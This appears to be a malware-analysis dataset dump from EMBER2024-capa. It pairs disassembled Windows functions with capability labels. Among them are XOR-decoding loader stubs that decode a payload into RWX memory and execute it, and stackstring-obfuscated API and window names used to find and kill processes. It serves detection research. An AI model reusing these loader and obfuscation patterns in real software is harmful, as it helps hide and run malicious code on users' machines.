joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454f40
Capabilities:
Identify system language via api

Disassembly:
mov eax, dword [0x4ac8d8]
cmp eax, 3
jne 0x454f8a
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultUILanguage]
and eax, 0x1ff
add eax, 0xfffffffe
cmp eax, 0x83
ja case.0x454f66.3
movzx eax, byte [eax + 0x454f98]
jmp dword [eax*4 + 0x454f8c]
mov eax, 1
mov dword [0x4ac8d8], eax
ret
mov eax, 2
mov dword [0x4ac8d8], eax
ret
xor eax, eax
mov dword [0x4ac8d8], eax
ret

Function at 0x455540
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48d658
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4acab8]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov ecx, dword [esp + 0x2c]
mov eax, dword [ecx + 0x14]
mov ebx, dword [eax]
mov esi, dword [ecx]
xor ebp, ebp
mov edi, dword [ecx + 0x14]
mov eax, dword [ecx]
cmp esi, ebp
je 0x455581
cmp esi, eax
je 0x455586
call fcn.004707a2
cmp ebx, edi
je 0x455643
xor edi, edi
cmp esi, ebp
jne 0x455634
call fcn.004707a2
xor eax, eax
cmp ebx, dword [eax + 0x14]
jne 0x4555a9
call fcn.004707a2
cmp dword [ebx + 0x78], 4
jne 0x4555b4
mov edi, str.__restore_last_session
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x24], ebp
cmp esi, ebp
jne 0x45563b
call fcn.004707a2
xor eax, eax
cmp ebx, dword [eax + 0x14]
jne 0x4555d5
call fcn.004707a2
lea eax, [esp + 0x14]
push eax
lea ecx, [ebx + 8]
push ecx
call fcn.00427f10
mov edx, dword [esp + 0x1c]
add esp, 8
push 5
push ebp
push edi
push edx
push ebp
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x24], 0xffffffff
cmp eax, ebp
je 0x455614
push eax
call fcn.00470041
add esp, 4
mov dword [esp + 0x18], ebp
cmp esi, ebp
jne 0x45563f
call fcn.004707a2
xor eax, eax
cmp ebx, dword [eax + 0x14]
jne 0x455629
call fcn.004707a2
mov ebx, dword [ebx]
mov ecx, dword [esp + 0x2c]
jmp 0x455574
mov eax, dword [esi]
jmp 0x45559f
mov eax, dword [esi]
jmp 0x4555cb
mov eax, dword [esi]
jmp 0x45561f
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x455660
Capabilities:
Terminate process

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x1c]
mov ebx, dword [eax]
mov esi, dword [edi + 8]
mov edi, edi
mov ebp, dword [edi + 0x1c]
mov eax, dword [edi + 8]
test esi, esi
je 0x45567e
cmp esi, eax
je 0x455683
call fcn.004707a2
cmp ebx, ebp
je 0x4556cd
test esi, esi
jne 0x4556c5
call fcn.004707a2
xor eax, eax
cmp ebx, dword [eax + 0x14]
jne 0x45569c
call fcn.004707a2
mov ecx, dword [ebx + 8]
push 0
push 0
push 0x10
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
test esi, esi
jne 0x4556c9
call fcn.004707a2
xor eax, eax
cmp ebx, dword [eax + 0x14]
jne 0x4556c1
call fcn.004707a2
mov ebx, dword [ebx]
jmp 0x455670
mov eax, dword [esi]
jmp 0x455692
mov eax, dword [esi]
jmp 0x4556b7
cmp dword [edi + 0x20], 0
mov esi, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
je 0x4556ec
mov edx, dword [edi]
push 0x1388
push edx
call esi
test eax, eax
sete al
test al, al
jne 0x455701
mov eax, dword [edi]
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov ecx, dword [edi]
push 0x7d0
push ecx
call esi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4557f0
Capabilities:
Reference http user-agent string

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
xor ecx, ecx
push esi
mov dword [esp + 4], ecx
cmp eax, 5
ja case.0x455801.3
jmp dword [eax*4 + 0x455898]
mov esi, dword [esp + 0xc]
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
mov ecx, esi
call fcn.0040b920
mov eax, esi
pop esi
pop ecx
ret
mov esi, dword [esp + 0xc]
push str.Mozilla_5.0__X11__U__Linux_i686__ru__rv:1.9.2.14__Gecko_20110221_Ubuntu_10.10__maverick__Firefox_3.6.14
mov ecx, esi
call fcn.0040b920
mov eax, esi
pop esi
pop ecx
ret
mov esi, dword [esp + 0xc]
push str.Opera_9.80__X11__Linux_i686__U__ru__Presto_2.7.62_Version_11.01
mov ecx, esi
call fcn.0040b920
mov eax, esi
pop esi
pop ecx
ret
mov esi, dword [esp + 0xc]
push str.Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__AppleWebKit_534.13__KHTML__like_Gecko__Chrome_9.0.597.107_Safari_534.13
mov ecx, esi
call fcn.0040b920
mov eax, esi
pop esi
pop ecx
ret
mov esi, dword [esp + 0xc]
push str.Mozilla_5.0__Macintosh__U__Intel_Mac_OS_X_10_6_6__en_US__AppleWebKit_534.13__KHTML__like_Gecko__Chrome_9.0.597.102_Safari_534.13
mov ecx, esi
call fcn.0040b920
mov eax, esi
pop esi
pop ecx
ret
mov esi, dword [esp + 0xc]
mov dword [esi + 0x14], ecx
mov dword [esi + 0x18], 0xf
push 0x12
mov byte [esi + 4], cl
push str.MediaGet_installer
mov ecx, esi
call fcn.0040b580
mov eax, esi
pop esi
pop ecx
ret
Function at 0x456030
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x48d7ce
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x4acab8]
xor eax, esp
mov dword [esp + 0x244], eax
push ebx
push esi
mov eax, dword [0x4acab8]
xor eax, esp
push eax
lea eax, [esp + 0x254]
mov dword fs:[0], eax
mov esi, dword [esp + 0x264]
xor ebx, ebx
push ebx
push 0x1a
lea eax, [esp + 0x50]
push eax
push ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x14]
push edx
call fcn.00428bf0
push str.MozillaFirefox_
push eax
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x270], ebx
call fcn.0040bdb0
add esp, 0x14
cmp dword [esp + 0x28], 0x10
mov byte [esp + 0x25c], 2
jb 0x4560ca
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0046fa18
add esp, 4
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
call fcn.004286a0
add esp, 4
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
test al, al
je 0x456115
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x34]
push eax
mov ecx, esi
call fcn.0040b360
cmp dword [esp + 0x44], 0x10
jb 0x456129
mov ecx, dword [esp + 0x30]
push ecx
jmp 0x456121
cmp dword [esp + 0x44], 0x10
jb 0x456129
mov edx, dword [esp + 0x30]
push edx
call fcn.0046fa18
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x254]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x244]
xor ecx, esp
call fcn.00470538
add esp, 0x254
ret

Function at 0x456160
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x48d812
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x4acab8]
xor eax, esp
mov dword [esp + 0x244], eax
push ebx
push esi
mov eax, dword [0x4acab8]
xor eax, esp
push eax
lea eax, [esp + 0x254]
mov dword fs:[0], eax
mov esi, dword [esp + 0x264]
xor ebx, ebx
push ebx
push 0x1c
lea eax, [esp + 0x50]
push eax
push ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x14]
push edx
call fcn.00428bf0
push str.GoogleChromeUser_DataDefaultPreferences
push eax
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x270], ebx
call fcn.0040bdb0
add esp, 0x14
cmp dword [esp + 0x28], 0x10
mov byte [esp + 0x25c], 2
jb 0x4561fa
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0046fa18
add esp, 4
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
call fcn.004286a0
add esp, 4
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
test al, al
je 0x456245
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x34]
push eax
mov ecx, esi
call fcn.0040b360
cmp dword [esp + 0x44], 0x10
jb 0x456259
mov ecx, dword [esp + 0x30]
push ecx
jmp 0x456251
cmp dword [esp + 0x44], 0x10
jb 0x456259
mov edx, dword [esp + 0x30]
push edx
call fcn.0046fa18
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x254]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x244]
xor ecx, esp
call fcn.00470538
add esp, 0x254
ret
Function at 0x45aa50
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x48e012
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4acab8]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
mov eax, dword [0x4acab8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, dword [esp + 0x40]
xor eax, eax
mov dword [esp + 8], eax
mov edx, 0xf
mov dword [esp + 0xc], esi
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], eax
mov byte [esp + 0x14], al
mov dword [esi], eax
lea ecx, [esi + 4]
push 0xffffffffffffffff
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], edx
push eax
mov byte [ecx + 4], al
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x44], 1
call fcn.0040b360
cmp dword [esp + 0x28], 0x10
jb 0x45aad5
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0046fa18
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.00470538
add esp, 0x34
ret
Function at 0x461230
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ecx
ret
Function at 0x46ef61
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4ae4fc], 0
push esi
jne 0x46eed4
call fcn.0046edfa
test eax, eax
je 0x46ef17
mov eax, dword [0x4ae4fc]
cmp eax, 1
jne 0x46eef5
push 0xd
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
test eax, eax
je 0x46ef17
pop esi
ret
push eax
call dword [0x4ae504]
test eax, eax
jne 0x46ef5f
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x46ef1b
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4ae4fc]
call dword [0x4ae504]
mov edi, eax
test edi, edi
je 0x46ef40
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x46ef5c
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4ae4fc]
call dword [0x4ae500]
add edi, 0x10
cmp edi, esi
jb 0x46ef48
mov eax, edi
pop edi
pop esi
ret
jmp 0x46eec1

Function at 0x470538
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4acab8]
jne 0x470542
repz ret
jmp fcn.0047863c

Function at 0x47f5c2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0047662e
and dword [ebp - 4], 0
cmp dword [0x4af264], 0
mov ebx, eax
jne 0x47f673
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x47f724
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x47f724
push eax
call fcn.004765bc
mov dword [esp], 0x49c9f8
push edi
mov dword [0x4af264], eax
call esi
push eax
call fcn.004765bc
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4af268], eax
call esi
push eax
call fcn.004765bc
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4af26c], eax
call esi
push eax
call fcn.004765bc
pop ecx
mov dword [0x4af274], eax
test eax, eax
je 0x47f673
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004765bc
pop ecx
mov dword [0x4af270], eax
mov eax, dword [0x4af270]
cmp eax, ebx
je 0x47f6cb
cmp dword [0x4af274], ebx
je 0x47f6cb
push eax
call fcn.00476637
push dword [0x4af274]
mov esi, eax
call fcn.00476637
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x47f6cb
test edi, edi
je 0x47f6cb
call esi
test eax, eax
je 0x47f6c2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x47f6c2
test byte [ebp - 0xc], 1
jne 0x47f6cb
or dword [ebp + 0x10], 0x200000
jmp 0x47f704
mov eax, dword [0x4af268]
cmp eax, ebx
je 0x47f704
push eax
call fcn.00476637
pop ecx
test eax, eax
je 0x47f704
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x47f704
mov eax, dword [0x4af26c]
cmp eax, ebx
je 0x47f704
push eax
call fcn.00476637
pop ecx
test eax, eax
je 0x47f704
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4af264]
call fcn.00476637
pop ecx
test eax, eax
je 0x47f724
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x47f726
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
jmp 0x40102a
xor ebx, ebx
mov byte [ebp - 0x23], 0x78
mov dword [ebp - 4], ebx
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x1d], 0x77
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x22], 0x57
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x44
mov byte [ebp - 0x20], 0x6e
jmp 0x401085
lea eax, [ebp - 0x24]
push ebx
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, ebx
je 0x4010b9
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 4], ebx
je 0x4010b9
push dword [ebp - 4]
push 1
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop ebx
leave
ret

Function at 0x40113a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push edi
jmp 0x401148
xor eax, eax
lea edi, [ebp - 0x2b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
and dword [ebp - 4], 0
mov byte [ebp - 0x2c], 0x52
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x67
mov byte [ebp - 0x29], 0x51
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x79
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x75
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x41
jmp 0x4011f3
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 8], eax
jmp 0x40122e
test eax, eax
je 0x401290
jmp 0x401255
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x401290
jmp 0x4012b3
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x40154f
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jmp 0x401569
movzx eax, word [ebp + 0x10]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push esi
mov dword [ebp + 0x14], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x4015d9
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x4015d9
lea eax, [ebp - 4]
push ebx
push eax
push esi
push dword [ebp + 0x14]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x406243
pop dword [ebp - 0x50]
mov eax, 0x894bcdbf
add eax, 0x76f49484
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x69cb59ee
sub dword [ebp - 0x60], 0x1b7914a3
mov dword [ebp - 0x5c], 0x5b95fbef
add dword [ebp - 0x5c], 0xd69d5056
mov dword [ebp - 0x58], 0x9a435382
add dword [ebp - 0x58], 0xb208f0ac
mov dword [ebp - 0x54], 0xdaadfcca
sub dword [ebp - 0x54], 0xdaadfcca
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xb0e40349
add dword [ebp - 0x60], 0xc38e660d
mov dword [ebp - 0x5c], 0xec93c7b9
sub dword [ebp - 0x5c], 0xab276644
mov dword [ebp - 0x58], 0x8e76ddfd
add dword [ebp - 0x58], 0xd4f88e6f
mov dword [ebp - 0x54], 0x3d4ee2f4
add dword [ebp - 0x54], 0xc2b11d0c
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x83b6b0d4
add eax, 0x7c89d02c
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3503b
push 0
call eax
mov ecx, 0xd8f513d2
sub ecx, 0xd8f4d3db
mov esi, eax
mov edi, 0x46e400
add edi, dword [ebp - 0x50]
mov ebx, 0x3e871c4
add ebx, 0x27f75b6d
xor dword [ebp - 0x3c], ecx
mov edx, dword [edi]
sub dword [ebp - 0x10], 0x337fb554
xor edx, ebx
sub dword [ebp - 0x2c], edi
mov dword [esi], edx
add esi, 0x7571269a
add esi, 0x8a8ed96a
add edi, 0xf2012bcc
sub edi, 0xf2012bc8
loop 0x40635a
add eax, 0xe78d361c
add eax, 0x1873bc93
xor ebx, ebx
add ebx, eax
add eax, 0x239d9b76
add eax, 0xdc62648f
mov ecx, 0x1bf87b1f
add ecx, 0xe44784e1
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x40adb5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40adf4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40adf4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40adf4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40adf4
cmp dword [ecx + 0x74], 0xe
jbe 0x40adf4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40bb80
Capabilities:
Suspend thread

Disassembly:
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ebx, 0xc
push esi
push edi
lea esi, [ecx + 0x28]
cmp dword [esi], 0
je 0x40bbb5
mov edi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
je 0x40bbb5
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenThread]
test eax, eax
je 0x40bbb5
push eax
call ebp
add esi, 4
sub ebx, 1
jne 0x40bb92
pop edi
pop esi
pop ebp
pop ebx
xor eax, eax
ret
Function at 0x411850
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4159bd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], edi
mov byte [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [ebp - 4], 0
lea esi, [edi + 0x18]
mov dword [esi], vtable.FilterPoints.0
mov dword [edi], vtable.BaseEngine.1.0
mov dword [esi], vtable.BaseEngine.0
mov dword [edi + 0x1c], 0
mov byte [edi + 0x20], 1
mov dword [edi + 0x24], 0x3fffffff
mov dword [edi + 0x28], 0x3fffffff
mov dword [edi + 0x2c], 0xc0000001
mov dword [edi + 0x30], 0xc0000001
mov dword [edi + 0x34], 0x3fffffff
mov dword [edi + 0x38], 0x3fffffff
mov dword [edi + 0x3c], 0xc0000001
mov dword [edi + 0x40], 0xc0000001
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0xffffffff
mov dword [edi + 0x54], 0xa
mov dword [edi + 0x58], 0xffffffff
mov dword [edi + 0x5c], 0
mov byte [edi + 0x68], 1
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x74], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x7c], 0
mov dword [edi + 0x80], 0
mov dword [edi + 0x84], 0
push 0x50
mov dword [edi + 0x88], 0
mov dword [edi + 0x90], 0
mov byte [edi + 0x94], 0
mov dword [edi + 0x8c], 0x14
call fcn.0040ab33
mov dword [edi + 0x90], eax
lea ecx, [edi + 0xac]
mov dword [edi + 0x98], 0
lea eax, [edi + 0xd4]
mov dword [edi + 0x9c], 0
add esp, 4
mov dword [edi + 0xa0], 0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa8], 0
mov dword [ecx + 0xc], edi
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov byte [ecx + 0x24], 0
mov dword [ecx], esi
mov dword [eax + 0xc], edi
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov byte [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x18], 0
mov dword [eax + 0x1c], 0
mov dword [eax + 0x20], 0
mov byte [eax + 0x24], 0
mov dword [eax], esi
mov dword [edi + 0x100], 0
mov dword [edi + 0xfc], 0
mov dword [edi + 0x100], eax
mov eax, edi
mov dword [edi + 0xfc], ecx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10010b27
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10010b36
pop dword [ebp - 0x2c]
mov eax, 0x7c3b880e
add eax, 0x93c58328
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3b460
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xf1bbfebc
sub ecx, 0xf1bbb13c
mov edx, eax
mov ebx, 0x358d4032
sub ebx, 0x258aec32
add ebx, dword [ebp - 0x2c]
mov edi, 0xb6248cf4
sub edi, 0x521b1097
mov esi, dword [ebx]
xor dword [ebp - 0x10], 0x9478d17b
xor esi, edi
sub dword [ebp - 0x1c], 0xb7c1aafd
mov dword [edx], esi
xor dword [ebp - 0x20], ecx
add edx, 4
add ebx, 0x6cbfe9d2
sub ebx, 0x6cbfe9ce
loop 0x10010b90
add eax, 0x128d3
mov ebx, eax
add eax, 5
mov ecx, 0x7981bf74
sub ecx, 0x6981bf74
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret